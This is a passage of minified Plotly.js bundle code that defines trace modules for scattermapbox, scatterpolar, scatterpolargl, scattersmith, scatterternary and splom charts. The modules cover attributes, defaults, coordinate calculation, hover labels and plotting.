i(v){return v+"°"}return s||y&&c?h.push("("+i(b[1])+", "+i(b[0])+")"):y?h.push(a.lon+i(b[0])):c&&h.push(a.lat+i(b[1])),(s||u.indexOf("text")!==-1)&&L(f,r,h),h.join("<br>")}te.exports={hoverPoints:g,getExtraText:t}},20467:function(te,Z,e){te.exports={attributes:e(99181),supplyDefaults:e(76645),colorbar:e(4898),formatLabels:e(15636),calc:e(84622),plot:e(86951),hoverPoints:e(28178).hoverPoints,eventData:e(53353),selectPoints:e(86387),styleOnSelect:function(M,P){if(P){var o=P[0].trace;o._glTrace.update(P)}},moduleType:"trace",name:"scattermapbox",basePlotModule:e(50101),categories:["mapbox","gl","symbols","showLegend","scatter-like"],meta:{}}},86951:function(te,Z,e){var M=e(71828),P=e(15790),o=e(77734).traceLayerPrefix,L={cluster:["cluster","clusterCount","circle"],nonCluster:["fill","line","circle","symbol"]};function S(g,t,r,f){this.type="scattermapbox",this.subplot=g,this.uid=t,this.clusterEnabled=r,this.isHidden=f,this.sourceIds={fill:"source-"+t+"-fill",line:"source-"+t+"-line",circle:"source-"+t+"-circle",symbol:"source-"+t+"-symbol",cluster:"source-"+t+"-circle",clusterCount:"source-"+t+"-circle"},this.layerIds={fill:o+t+"-fill",line:o+t+"-line",circle:o+t+"-circle",symbol:o+t+"-symbol",cluster:o+t+"-cluster",clusterCount:o+t+"-cluster-count"},this.below=null}var d=S.prototype;d.addSource=function(g,t,r){var f={type:"geojson",data:t.geojson};r&&r.enabled&&M.extendFlat(f,{cluster:!0,clusterMaxZoom:r.maxzoom});var a=this.subplot.map.getSource(this.sourceIds[g]);a?a.setData(t.geojson):this.subplot.map.addSource(this.sourceIds[g],f)},d.setSourceData=function(g,t){this.subplot.map.getSource(this.sourceIds[g]).setData(t.geojson)},d.addLayer=function(g,t,r){var f={type:t.type,id:this.layerIds[g],source:this.sourceIds[g],layout:t.layout,paint:t.paint};t.filter&&(f.filter=t.filter);for(var a=this.layerIds[g],l,u=this.subplot.getMapLayers(),s=0;s<u.length;s++)if(u[s].id===a){l=!0;break}l?(this.subplot.setOptions(a,"setLayoutProperty",f.layout),f.layout.visibility==="visible"&&this.subplot.setOptions(a,"setPaintProperty",f.paint)):this.subplot.addLayer(f,r)},d.update=function(t){var r=t[0].trace,f=this.subplot,a=f.map,l=P(f.gd,t),u=f.belowLookup["trace-"+this.uid],s=!!(r.cluster&&r.cluster.enabled),y=!!this.clusterEnabled,c=this;function b(m){m||c.addSource("circle",l.circle,r.cluster);for(var n=L.cluster,C=0;C<n.length;C++){var x=n[C],I=l[x];c.addLayer(x,I,u)}}function h(m){for(var n=L.cluster,C=n.length-1;C>=0;C--){var x=n[C];a.removeLayer(c.layerIds[x])}m||a.removeSource(c.sourceIds.circle)}function i(m){for(var n=L.nonCluster,C=0;C<n.length;C++){var x=n[C],I=l[x];m||c.addSource(x,I),c.addLayer(x,I,u)}}function v(m){for(var n=L.nonCluster,C=n.length-1;C>=0;C--){var x=n[C];a.removeLayer(c.layerIds[x]),m||a.removeSource(c.sourceIds[x])}}function T(m){y?h(m):v(m)}function w(m){s?b(m):i(m)}function E(){for(var m=s?L.cluster:L.nonCluster,n=0;n<m.length;n++){var C=m[n],x=l[C];x&&(f.setOptions(c.layerIds[C],"setLayoutProperty",x.layout),x.layout.visibility==="visible"&&(C!=="cluster"&&c.setSourceData(C,x),f.setOptions(c.layerIds[C],"setPaintProperty",x.paint)))}}var p=this.isHidden,A=r.visible!==!0;A?p||T():p?A||w():y!==s?(T(),w()):(this.below!==u&&(T(!0),w(!0)),E()),this.clusterEnabled=s,this.isHidden=A,this.below=u,t[0].trace._glTrace=this},d.dispose=function(){for(var t=this.subplot.map,r=this.clusterEnabled?L.cluster:L.nonCluster,f=r.length-1;f>=0;f--){var a=r[f];t.removeLayer(this.layerIds[a]),t.removeSource(this.sourceIds[a])}},te.exports=function(t,r){var f=r[0].trace,a=f.cluster&&f.cluster.enabled,l=f.visible!==!0,u=new S(t,f.uid,a,l),s=P(t.gd,r),y=u.below=t.belowLookup["trace-"+f.uid],c,b,h;if(a)for(u.addSource("circle",s.circle,f.cluster),c=0;c<L.cluster.length;c++)b=L.cluster[c],h=s[b],u.addLayer(b,h,y);else for(c=0;c<L.nonCluster.length;c++)b=L.nonCluster[c],h=s[b],u.addSource(b,h,f.cluster),u.addLayer(b,h,y);return r[0].trace._glTrace=u,u}},86387:function(te,Z,e){var M=e(71828),P=e(34098),o=e(50606).BADNUM;te.exports=function(S,d){var g=S.cd,t=S.xaxis,r=S.yaxis,f=[],a=g[0].trace,l;if(!P.hasMarkers(a))return[];if(d===!1)for(l=0;l<g.length;l++)g[l].selected=0;else for(l=0;l<g.length;l++){var u=g[l],s=u.lonlat;if(s[0]!==o){var y=[M.modHalf(s[0],360),s[1]],c=[t.c2p(y),r.c2p(y)];d.contains(c,null,l,S)?(f.push({pointNumber:l,lon:s[0],lat:s[1]}),u.selected=1):u.selected=0}}return f}},81245:function(te,Z,e){var M=e(5386).fF,P=e(5386).si,o=e(1426).extendFlat,L=e(82196),S=e(9012),d=L.line;te.exports={mode:L.mode,r:{valType:"data_array",editType:"calc+clearAxisTypes"},theta:{valType:"data_array",editType:"calc+clearAxisTypes"},r0:{valType:"any",dflt:0,editType:"calc+clearAxisTypes"},dr:{valType:"number",dflt:1,editType:"calc"},theta0:{valType:"any",dflt:0,editType:"calc+clearAxisTypes"},dtheta:{valType:"number",editType:"calc"},thetaunit:{valType:"enumerated",values:["radians","degrees","gradians"],dflt:"degrees",editType:"calc+clearAxisTypes"},text:L.text,texttemplate:P({editType:"plot"},{keys:["r","theta","text"]}),hovertext:L.hovertext,line:{color:d.color,width:d.width,dash:d.dash,backoff:d.backoff,shape:o({},d.shape,{values:["linear","spline"]}),smoothing:d.smoothing,editType:"calc"},connectgaps:L.connectgaps,marker:L.marker,cliponaxis:o({},L.cliponaxis,{dflt:!1}),textposition:L.textposition,textfont:L.textfont,fill:o({},L.fill,{values:["none","toself","tonext"],dflt:"none"}),fillcolor:L.fillcolor,hoverinfo:o({},S.hoverinfo,{flags:["r","theta","text","name"]}),hoveron:L.hoveron,hovertemplate:M(),selected:L.selected,unselected:L.unselected}},26442:function(te,Z,e){var M=e(92770),P=e(50606).BADNUM,o=e(89298),L=e(36922),S=e(75225),d=e(66279),g=e(47761).calcMarkerSize;te.exports=function(r,f){for(var a=r._fullLayout,l=f.subplot,u=a[l].radialaxis,s=a[l].angularaxis,y=u.makeCalcdata(f,"r"),c=s.makeCalcdata(f,"theta"),b=f._length,h=new Array(b),i=0;i<b;i++){var v=y[i],T=c[i],w=h[i]={};M(v)&&M(T)?(w.r=v,w.theta=T):w.r=P}var E=g(f,b);return f._extremes.x=o.findExtremes(u,y,{ppad:E}),L(r,f),S(h,f),d(h,f),h}},22184:function(te,Z,e){var M=e(71828),P=e(34098),o=e(49508),L=e(11058),S=e(94039),d=e(82410),g=e(28908),t=e(47581).PTS_LINESONLY,r=e(81245);function f(l,u,s,y){function c(i,v){return M.coerce(l,u,r,i,v)}var b=a(l,u,y,c);if(!b){u.visible=!1;return}c("thetaunit"),c("mode",b<t?"lines+markers":"lines"),c("text"),c("hovertext"),u.hoveron!=="fills"&&c("hovertemplate"),P.hasLines(u)&&(L(l,u,s,y,c,{backoff:!0}),S(l,u,c),c("connectgaps")),P.hasMarkers(u)&&o(l,u,s,y,c,{gradient:!0}),P.hasText(u)&&(c("texttemplate"),d(l,u,y,c));var h=[];(P.hasMarkers(u)||P.hasText(u))&&(c("cliponaxis"),c("marker.maxdisplayed"),h.push("points")),c("fill"),u.fill!=="none"&&(g(l,u,s,c),P.hasLines(u)||S(l,u,c)),(u.fill==="tonext"||u.fill==="toself")&&h.push("fills"),c("hoveron",h.join("+")||"points"),M.coerceSelectionMarkerOpacity(u,c)}function a(l,u,s,y){var c=y("r"),b=y("theta"),h;if(c)b?h=Math.min(c.length,b.length):(h=c.length,y("theta0"),y("dtheta"));else{if(!b)return 0;h=u.theta.length,y("r0"),y("dr")}return u._length=h,h}te.exports={handleRThetaDefaults:a,supplyDefaults:f}},98608:function(te,Z,e){var M=e(71828),P=e(89298);te.exports=function(L,S,d){var g={},t=d[S.subplot]._subplot,r,f;t?(r=t.radialAxis,f=t.angularAxis):(t=d[S.subplot],r=t.radialaxis,f=t.angularaxis);var a=r.c2l(L.r);g.rLabel=P.tickText(r,a,!0).text;var l=f.thetaunit==="degrees"?M.rad2deg(L.theta):L.theta;return g.thetaLabel=P.tickText(f,l,!0).text,g}},59150:function(te,Z,e){var M=e(33720);function P(L,S,d,g){var t=M(L,S,d,g);if(!(!t||t[0].index===!1)){var r=t[0];if(r.index===void 0)return t;var f=L.subplot,a=r.cd[r.index],l=r.trace;if(f.isPtInside(a))return r.xLabelVal=void 0,r.yLabelVal=void 0,o(a,l,f,r),r.hovertemplate=l.hovertemplate,t}}function o(L,S,d,g){var t=d.radialAxis,r=d.angularAxis;t._hovertitle="r",r._hovertitle="θ";var f={};f[S.subplot]={_subplot:d};var a=S._module.formatLabels(L,S,f);g.rLabel=a.rLabel,g.thetaLabel=a.thetaLabel;var l=L.hi||S.hoverinfo,u=[];function s(c,b){u.push(c._hovertitle+": "+b)}if(!S.hovertemplate){var y=l.split("+");y.indexOf("all")!==-1&&(y=["r","theta","text"]),y.indexOf("r")!==-1&&s(t,g.rLabel),y.indexOf("theta")!==-1&&s(r,g.thetaLabel),y.indexOf("text")!==-1&&g.text&&(u.push(g.text),delete g.text),g.extraText=u.join("<br>")}}te.exports={hoverPoints:P,makeHoverPointText:o}},91271:function(te,Z,e){te.exports={moduleType:"trace",name:"scatterpolar",basePlotModule:e(23580),categories:["polar","symbols","showLegend","scatter-like"],attributes:e(81245),supplyDefaults:e(22184).supplyDefaults,colorbar:e(4898),formatLabels:e(98608),calc:e(26442),plot:e(45162),style:e(16296).style,styleOnSelect:e(16296).styleOnSelect,hoverPoints:e(59150).hoverPoints,selectPoints:e(98002),meta:{}}},45162:function(te,Z,e){var M=e(32663),P=e(50606).BADNUM;te.exports=function(L,S,d){for(var g=S.layers.frontplot.select("g.scatterlayer"),t=S.xaxis,r=S.yaxis,f={xaxis:t,yaxis:r,plot:S.framework,layerClipId:S._hasClipOnAxisFalse?S.clipIds.forTraces:null},a=S.radialAxis,l=S.angularAxis,u=0;u<d.length;u++)for(var s=d[u],y=0;y<s.length;y++){y===0&&(s[0].trace._xA=t,s[0].trace._yA=r);var c=s[y],b=c.r;if(b===P)c.x=c.y=P;else{var h=a.c2g(b),i=l.c2g(c.theta);c.x=h*Math.cos(i),c.y=h*Math.sin(i)}}M(L,f,d,g)}},53286:function(te,Z,e){var M=e(81245),P=e(42341),o=e(5386).si;te.exports={mode:M.mode,r:M.r,theta:M.theta,r0:M.r0,dr:M.dr,theta0:M.theta0,dtheta:M.dtheta,thetaunit:M.thetaunit,text:M.text,texttemplate:o({editType:"plot"},{keys:["r","theta","text"]}),hovertext:M.hovertext,hovertemplate:M.hovertemplate,line:P.line,connectgaps:P.connectgaps,marker:P.marker,fill:P.fill,fillcolor:P.fillcolor,textposition:P.textposition,textfont:P.textfont,hoverinfo:M.hoverinfo,selected:M.selected,unselected:M.unselected}},65746:function(te,Z,e){te.exports={moduleType:"trace",name:"scatterpolargl",basePlotModule:e(23580),categories:["gl","regl","polar","symbols","showLegend","scatter-like"],attributes:e(53286),supplyDefaults:e(75485),colorbar:e(4898),formatLabels:e(46255),calc:e(37499),hoverPoints:e(29347).hoverPoints,selectPoints:e(58147),meta:{}}},37499:function(te,Z,e){var M=e(36922),P=e(47761).calcMarkerSize,o=e(19635),L=e(89298),S=e(78232).TOO_MANY_POINTS;te.exports=function(g,t){var r=g._fullLayout,f=t.subplot,a=r[f].radialaxis,l=r[f].angularaxis,u=t._r=a.makeCalcdata(t,"r"),s=t._theta=l.makeCalcdata(t,"theta"),y=t._length,c={};y<u.length&&(u=u.slice(0,y)),y<s.length&&(s=s.slice(0,y)),c.r=u,c.theta=s,M(g,t);var b=c.opts=o.style(g,t),h;return y<S?h=P(t,y):b.marker&&(h=2*(b.marker.sizeAvg||Math.max(b.marker.size,3))),t._extremes.x=L.findExtremes(a,u,{ppad:h}),[{x:!1,y:!1,t:c,trace:t}]}},75485:function(te,Z,e){var M=e(71828),P=e(34098),o=e(22184).handleRThetaDefaults,L=e(49508),S=e(11058),d=e(82410),g=e(28908),t=e(47581).PTS_LINESONLY,r=e(53286);te.exports=function(a,l,u,s){function y(b,h){return M.coerce(a,l,r,b,h)}var c=o(a,l,s,y);if(!c){l.visible=!1;return}y("thetaunit"),y("mode",c<t?"lines+markers":"lines"),y("text"),y("hovertext"),l.hoveron!=="fills"&&y("hovertemplate"),P.hasLines(l)&&(S(a,l,u,s,y),y("connectgaps")),P.hasMarkers(l)&&L(a,l,u,s,y,{noAngleRef:!0,noStandOff:!0}),P.hasText(l)&&(y("texttemplate"),d(a,l,s,y)),y("fill"),l.fill!=="none"&&g(a,l,u,y),M.coerceSelectionMarkerOpacity(l,y)}},46255:function(te,Z,e){var M=e(98608);te.exports=function(o,L,S){var d=o.i;return"r"in o||(o.r=L._r[d]),"theta"in o||(o.theta=L._theta[d]),M(o,L,S)}},29347:function(te,Z,e){var M=e(20794),P=e(59150).makeHoverPointText;function o(L,S,d,g){var t=L.cd,r=t[0].t,f=r.r,a=r.theta,l=M.hoverPoints(L,S,d,g);if(!(!l||l[0].index===!1)){var u=l[0];if(u.index===void 0)return l;var s=L.subplot,y=u.cd[u.index],c=u.trace;if(y.r=f[u.index],y.theta=a[u.index],!!s.isPtInside(y))return u.xLabelVal=void 0,u.yLabelVal=void 0,P(y,c,s,u),l}}te.exports={hoverPoints:o}},21461:function(te,Z,e){var M=e(65746);M.plot=e(49741),te.exports=M},49741:function(te,Z,e){var M=e(88294),P=e(92770),o=e(26787),L=e(38967),S=e(19635),d=e(71828),g=e(78232).TOO_MANY_POINTS,t={};te.exports=function(f,a,l){if(l.length){var u=a.radialAxis,s=a.angularAxis,y=L(f,a);return l.forEach(function(c){if(!(!c||!c[0]||!c[0].trace)){var b=c[0],h=b.trace,i=b.t,v=h._length,T=i.r,w=i.theta,E=i.opts,p,A=T.slice(),m=w.slice();for(p=0;p<T.length;p++)a.isPtInside({r:T[p],theta:w[p]})||(A[p]=NaN,m[p]=NaN);var n=new Array(v*2),C=Array(v),x=Array(v);for(p=0;p<v;p++){var I=A[p],k,B;if(P(I)){var _=u.c2g(I),F=s.c2g(m[p],h.thetaunit);k=_*Math.cos(F),B=_*Math.sin(F)}else k=B=NaN;C[p]=n[p*2]=k,x[p]=n[p*2+1]=B}i.tree=M(n),E.marker&&v>=g&&(E.marker.cluster=i.tree),E.marker&&(E.markerSel.positions=E.markerUnsel.positions=E.marker.positions=n),E.line&&n.length>1&&d.extendFlat(E.line,S.linePositions(f,h,n)),E.text&&(d.extendFlat(E.text,{positions:n},S.textPosition(f,h,E.text,E.marker)),d.extendFlat(E.textSel,{positions:n},S.textPosition(f,h,E.text,E.markerSel)),d.extendFlat(E.textUnsel,{positions:n},S.textPosition(f,h,E.text,E.markerUnsel))),E.fill&&!y.fill2d&&(y.fill2d=!0),E.marker&&!y.scatter2d&&(y.scatter2d=!0),E.line&&!y.line2d&&(y.line2d=!0),E.text&&!y.glText&&(y.glText=!0),y.lineOptions.push(E.line),y.fillOptions.push(E.fill),y.markerOptions.push(E.marker),y.markerSelectedOptions.push(E.markerSel),y.markerUnselectedOptions.push(E.markerUnsel),y.textOptions.push(E.text),y.textSelectedOptions.push(E.textSel),y.textUnselectedOptions.push(E.textUnsel),y.selectBatch.push([]),y.unselectBatch.push([]),i.x=C,i.y=x,i.rawx=C,i.rawy=x,i.r=T,i.theta=w,i.positions=n,i._scene=y,i.index=y.count,y.count++}}),o(f,a,l)}},te.exports.reglPrecompiled=t},48300:function(te,Z,e){var M=e(5386).fF,P=e(5386).si,o=e(1426).extendFlat,L=e(82196),S=e(9012),d=L.line;te.exports={mode:L.mode,real:{valType:"data_array",editType:"calc+clearAxisTypes"},imag:{valType:"data_array",editType:"calc+clearAxisTypes"},text:L.text,texttemplate:P({editType:"plot"},{keys:["real","imag","text"]}),hovertext:L.hovertext,line:{color:d.color,width:d.width,dash:d.dash,backoff:d.backoff,shape:o({},d.shape,{values:["linear","spline"]}),smoothing:d.smoothing,editType:"calc"},connectgaps:L.connectgaps,marker:L.marker,cliponaxis:o({},L.cliponaxis,{dflt:!1}),textposition:L.textposition,textfont:L.textfont,fill:o({},L.fill,{values:["none","toself","tonext"],dflt:"none"}),fillcolor:L.fillcolor,hoverinfo:o({},S.hoverinfo,{flags:["real","imag","text","name"]}),hoveron:L.hoveron,hovertemplate:M(),selected:L.selected,unselected:L.unselected}},30621:function(te,Z,e){var M=e(92770),P=e(50606).BADNUM,o=e(36922),L=e(75225),S=e(66279),d=e(47761).calcMarkerSize;te.exports=function(t,r){for(var f=t._fullLayout,a=r.subplot,l=f[a].realaxis,u=f[a].imaginaryaxis,s=l.makeCalcdata(r,"real"),y=u.makeCalcdata(r,"imag"),c=r._length,b=new Array(c),h=0;h<c;h++){var i=s[h],v=y[h],T=b[h]={};M(i)&&M(v)?(T.real=i,T.imag=v):T.real=P}return d(r,c),o(t,r),L(b,r),S(b,r),b}},65269:function(te,Z,e){var M=e(71828),P=e(34098),o=e(49508),L=e(11058),S=e(94039),d=e(82410),g=e(28908),t=e(47581).PTS_LINESONLY,r=e(48300);te.exports=function(l,u,s,y){function c(i,v){return M.coerce(l,u,r,i,v)}var b=f(l,u,y,c);if(!b){u.visible=!1;return}c("mode",b<t?"lines+markers":"lines"),c("text"),c("hovertext"),u.hoveron!=="fills"&&c("hovertemplate"),P.hasLines(u)&&(L(l,u,s,y,c,{backoff:!0}),S(l,u,c),c("connectgaps")),P.hasMarkers(u)&&o(l,u,s,y,c,{gradient:!0}),P.hasText(u)&&(c("texttemplate"),d(l,u,y,c));var h=[];(P.hasMarkers(u)||P.hasText(u))&&(c("cliponaxis"),c("marker.maxdisplayed"),h.push("points")),c("fill"),u.fill!=="none"&&(g(l,u,s,c),P.hasLines(u)||S(l,u,c)),(u.fill==="tonext"||u.fill==="toself")&&h.push("fills"),c("hoveron",h.join("+")||"points"),M.coerceSelectionMarkerOpacity(u,c)};function f(a,l,u,s){var y=s("real"),c=s("imag"),b;return y&&c&&(b=Math.min(y.length,c.length)),l._length=b,b}},62047:function(te,Z,e){var M=e(89298);te.exports=function(o,L,S){var d={},g=S[L.subplot]._subplot;return d.realLabel=M.tickText(g.radialAxis,o.real,!0).text,d.imagLabel=M.tickText(g.angularAxis,o.imag,!0).text,d}},11350:function(te,Z,e){var M=e(33720);function P(L,S,d,g){var t=M(L,S,d,g);if(!(!t||t[0].index===!1)){var r=t[0];if(r.index===void 0)return t;var f=L.subplot,a=r.cd[r.index],l=r.trace;if(f.isPtInside(a))return r.xLabelVal=void 0,r.yLabelVal=void 0,o(a,l,f,r),r.hovertemplate=l.hovertemplate,t}}function o(L,S,d,g){var t=d.radialAxis,r=d.angularAxis;t._hovertitle="real",r._hovertitle="imag";var f={};f[S.subplot]={_subplot:d};var a=S._module.formatLabels(L,S,f);g.realLabel=a.realLabel,g.imagLabel=a.imagLabel;var l=L.hi||S.hoverinfo,u=[];function s(c,b){u.push(c._hovertitle+": "+b)}if(!S.hovertemplate){var y=l.split("+");y.indexOf("all")!==-1&&(y=["real","imag","text"]),y.indexOf("real")!==-1&&s(t,g.realLabel),y.indexOf("imag")!==-1&&s(r,g.imagLabel),y.indexOf("text")!==-1&&g.text&&(u.push(g.text),delete g.text),g.extraText=u.join("<br>")}}te.exports={hoverPoints:P,makeHoverPointText:o}},85956:function(te,Z,e){te.exports={moduleType:"trace",name:"scattersmith",basePlotModule:e(7504),categories:["smith","symbols","showLegend","scatter-like"],attributes:e(48300),supplyDefaults:e(65269),colorbar:e(4898),formatLabels:e(62047),calc:e(30621),plot:e(12480),style:e(16296).style,styleOnSelect:e(16296).styleOnSelect,hoverPoints:e(11350).hoverPoints,selectPoints:e(98002),meta:{}}},12480:function(te,Z,e){var M=e(32663),P=e(50606).BADNUM,o=e(23893),L=o.smith;te.exports=function(d,g,t){for(var r=g.layers.frontplot.select("g.scatterlayer"),f=g.xaxis,a=g.yaxis,l={xaxis:f,yaxis:a,plot:g.framework,layerClipId:g._hasClipOnAxisFalse?g.clipIds.forTraces:null},u=0;u<t.length;u++)for(var s=t[u],y=0;y<s.length;y++){y===0&&(s[0].trace._xA=f,s[0].trace._yA=a);var c=s[y],b=c.real;if(b===P)c.x=c.y=P;else{var h=L([b,c.imag]);c.x=h[0],c.y=h[1]}}M(d,l,t,r)}},50413:function(te,Z,e){var M=e(5386).fF,P=e(5386).si,o=e(82196),L=e(9012),S=e(50693),d=e(79952).P,g=e(1426).extendFlat,t=o.marker,r=o.line,f=t.line;te.exports={a:{valType:"data_array",editType:"calc"},b:{valType:"data_array",editType:"calc"},c:{valType:"data_array",editType:"calc"},sum:{valType:"number",dflt:0,min:0,editType:"calc"},mode:g({},o.mode,{dflt:"markers"}),text:g({},o.text,{}),texttemplate:P({editType:"plot"},{keys:["a","b","c","text"]}),hovertext:g({},o.hovertext,{}),line:{color:r.color,width:r.width,dash:d,backoff:r.backoff,shape:g({},r.shape,{values:["linear","spline"]}),smoothing:r.smoothing,editType:"calc"},connectgaps:o.connectgaps,cliponaxis:o.cliponaxis,fill:g({},o.fill,{values:["none","toself","tonext"],dflt:"none"}),fillcolor:o.fillcolor,marker:g({symbol:t.symbol,opacity:t.opacity,angle:t.angle,angleref:t.angleref,standoff:t.standoff,maxdisplayed:t.maxdisplayed,size:t.size,sizeref:t.sizeref,sizemin:t.sizemin,sizemode:t.sizemode,line:g({width:f.width,editType:"calc"},S("marker.line")),gradient:t.gradient,editType:"calc"},S("marker")),textfont:o.textfont,textposition:o.textposition,selected:o.selected,unselected:o.unselected,hoverinfo:g({},L.hoverinfo,{flags:["a","b","c","text","name"]}),hoveron:o.hoveron,hovertemplate:M()}},54337:function(te,Z,e){var M=e(92770),P=e(36922),o=e(75225),L=e(66279),S=e(47761).calcMarkerSize,d=["a","b","c"],g={a:["b","c"],b:["a","c"],c:["a","b"]};te.exports=function(r,f){var a=r._fullLayout[f.subplot],l=a.sum,u=f.sum||l,s={a:f.a,b:f.b,c:f.c},y,c,b,h,i,v;for(y=0;y<d.length;y++)if(b=d[y],!s[b]){for(i=s[g[b][0]],v=s[g[b][1]],h=new Array(i.length),c=0;c<i.length;c++)h[c]=u-i[c]-v[c];s[b]=h}var T=f._length,w=new Array(T),E,p,A,m,n,C;for(y=0;y<T;y++)E=s.a[y],p=s.b[y],A=s.c[y],M(E)&&M(p)&&M(A)?(E=+E,p=+p,A=+A,m=l/(E+p+A),m!==1&&(E*=m,p*=m,A*=m),C=E,n=A-p,w[y]={x:n,y:C,a:E,b:p,c:A}):w[y]={x:!1,y:!1};return S(f,T),P(r,f),o(w,f),L(w,f),w}},46008:function(te,Z,e){var M=e(71828),P=e(47581),o=e(34098),L=e(49508),S=e(11058),d=e(94039),g=e(82410),t=e(28908),r=e(50413);te.exports=function(a,l,u,s){function y(w,E){return M.coerce(a,l,r,w,E)}var c=y("a"),b=y("b"),h=y("c"),i;if(c?(i=c.length,b?(i=Math.min(i,b.length),h&&(i=Math.min(i,h.length))):h?i=Math.min(i,h.length):i=0):b&&h&&(i=Math.min(b.length,h.length)),!i){l.visible=!1;return}l._length=i,y("sum"),y("text"),y("hovertext"),l.hoveron!=="fills"&&y("hovertemplate");var v=i<P.PTS_LINESONLY?"lines+markers":"lines";y("mode",v),o.hasLines(l)&&(S(a,l,u,s,y,{backoff:!0}),d(a,l,y),y("connectgaps")),o.hasMarkers(l)&&L(a,l,u,s,y,{gradient:!0}),o.hasText(l)&&(y("texttemplate"),g(a,l,s,y));var T=[];(o.hasMarkers(l)||o.hasText(l))&&(y("cliponaxis"),y("marker.maxdisplayed"),T.push("points")),y("fill"),l.fill!=="none"&&(t(a,l,u,y),o.hasLines(l)||d(a,l,y)),(l.fill==="tonext"||l.fill==="toself")&&T.push("fills"),y("hoveron",T.join("+")||"points"),M.coerceSelectionMarkerOpacity(l,y)}},4524:function(te){te.exports=function(e,M,P,o,L){if(M.xa&&(e.xaxis=M.xa),M.ya&&(e.yaxis=M.ya),o[L]){var S=o[L];e.a=S.a,e.b=S.b,e.c=S.c}else e.a=M.a,e.b=M.b,e.c=M.c;return e}},93645:function(te,Z,e){var M=e(89298);te.exports=function(o,L,S){var d={},g=S[L.subplot]._subplot;return d.aLabel=M.tickText(g.aaxis,o.a,!0).text,d.bLabel=M.tickText(g.baxis,o.b,!0).text,d.cLabel=M.tickText(g.caxis,o.c,!0).text,d}},47250:function(te,Z,e){var M=e(33720);te.exports=function(o,L,S,d){var g=M(o,L,S,d);if(!g||g[0].index===!1)return;var t=g[0];if(t.index===void 0){var r=1-t.y0/o.ya._length,f=o.xa._length,a=f*r/2,l=f-a;return t.x0=Math.max(Math.min(t.x0,l),a),t.x1=Math.max(Math.min(t.x1,l),a),g}var u=t.cd[t.index],s=t.trace,y=t.subplot;t.a=u.a,t.b=u.b,t.c=u.c,t.xLabelVal=void 0,t.yLabelVal=void 0;var c={};c[s.subplot]={_subplot:y};var b=s._module.formatLabels(u,s,c);t.aLabel=b.aLabel,t.bLabel=b.bLabel,t.cLabel=b.cLabel;var h=u.hi||s.hoverinfo,i=[];function v(w,E){i.push(w._hovertitle+": "+E)}if(!s.hovertemplate){var T=h.split("+");T.indexOf("all")!==-1&&(T=["a","b","c"]),T.indexOf("a")!==-1&&v(y.aaxis,t.aLabel),T.indexOf("b")!==-1&&v(y.baxis,t.bLabel),T.indexOf("c")!==-1&&v(y.caxis,t.cLabel)}return t.extraText=i.join("<br>"),t.hovertemplate=s.hovertemplate,g}},52979:function(te,Z,e){te.exports={attributes:e(50413),supplyDefaults:e(46008),colorbar:e(4898),formatLabels:e(93645),calc:e(54337),plot:e(7507),style:e(16296).style,styleOnSelect:e(16296).styleOnSelect,hoverPoints:e(47250),selectPoints:e(98002),eventData:e(4524),moduleType:"trace",name:"scatterternary",basePlotModule:e(61639),categories:["ternary","symbols","showLegend","scatter-like"],meta:{}}},7507:function(te,Z,e){var M=e(32663);te.exports=function(o,L,S){var d=L.plotContainer;d.select(".scatterlayer").selectAll("*").remove();for(var g=L.xaxis,t=L.yaxis,r={xaxis:g,yaxis:t,plot:d,layerClipId:L._hasClipOnAxisFalse?L.clipIdRelative:null},f=L.layers.frontplot.select("g.scatterlayer"),a=0;a<S.length;a++){var l=S[a];l.length&&(l[0].trace._xA=g,l[0].trace._yA=t)}M(o,r,S,f)}},46880:function(te,Z,e){var M=e(82196),P=e(50693),o=e(12663).axisHoverFormat,L=e(5386).fF,S=e(42341),d=e(85555).idRegex,g=e(44467).templatedArray,t=e(1426).extendFlat,r=M.marker,f=r.line,a=t(P("marker.line",{editTypeOverride:"calc"}),{width:t({},f.width,{editType:"calc"}),editType:"calc"}),l=t(P("marker"),{symbol:r.symbol,angle:r.angle,size:t({},r.size,{editType:"markerSize"}),sizeref:r.sizeref,sizemin:r.sizemin,sizemode:r.sizemode,opacity:r.opacity,colorbar:r.colorbar,line:a,editType:"calc"});l.color.editType=l.cmin.editType=l.cmax.editType="style";function u(s){return{valType:"info_array",freeLength:!0,editType:"calc",items:{valType:"subplotid",regex:d[s],editType:"plot"}}}te.exports={dimensions:g("dimension",{visible:{valType:"boolean",dflt:!0,editType:"calc"},label:{valType:"string",editType:"calc"},values:{valType:"data_array",editType:"calc+clearAxisTypes"},axis:{type:{valType:"enumerated",values:["linear","log","date","category"],editType:"calc+clearAxisTypes"},matches:{valType:"boolean",dflt:!1,editType:"calc"},editType:"calc+clearAxisTypes"},editType:"calc+clearAxisTypes"}),text:t({},S.text,{}),hovertext:t({},S.hovertext,{}),hovertemplate:L(),xhoverformat:o("x"),yhoverformat:o("y"),marker:l,xaxes:u("x"),yaxes:u("y"),diagonal:{visible:{valType:"boolean",dflt:!0,editType:"calc"},editType:"calc"},showupperhalf:{valType:"boolean",dflt:!0,editType:"calc"},showlowerhalf:{valType:"boolean",dflt:!0,editType:"calc"},selected:{marker:S.selected.marker,editType:"calc"},unselected:{marker:S.unselected.marker,editType:"calc"},opacity:S.opacity}},65017:function(te,Z,e){var M=e(73972),P=e(83312);te.exports={moduleType:"trace",name:"splom",categories:["gl","regl","cartesian","symbols","showLegend","scatter-like"],attributes:e(46880),supplyDefaults:e(25784),colorbar:e(4898),calc:e(87625),plot:e(79410),hoverPoints:e(8567).hoverPoints,selectPoints:e(8689),editStyle:e(28801),meta:{}},M.register(P)},16947:function(te,Z,e){var M=e(46075),P=e(73972),o=e(79749),L=e(27659).a0,S=e(93612),d=e(41675).getFromId,g=e(89298).shouldShowZeroLine,t="splom",r={};function f(c){var b=c._fullLayout,h=P.getModule(t),i=L(c.calcdata,h)[0],v=o(c,["ANGLE_instanced_arrays","OES_element_index_uint"],r);v&&(b._hasOnlyLargeSploms&&u(c),h.plot(c,{},i))}function a(c){var b=c.calcdata,h=c._fullLayout;h._hasOnlyLargeSploms&&u(c);for(var i=0;i<b.length;i++){var v=b[i][0],T=v.trace,w=h._splomScenes[T.uid];T.type==="splom"&&w&&w.matrix&&l(c,T,w)}}function l(c,b,h){for(var i=h.matrixOptions.data.length,v=b._visibleDims,T=h.viewOpts.ranges=new Array(i),w=0;w<v.length;w++){var E=v[w],p=T[w]=new Array(4),A=d(c,b._diag[E][0]);A&&(p[0]=A.r2l(A.range[0]),p[2]=A.r2l(A.range[1]));var 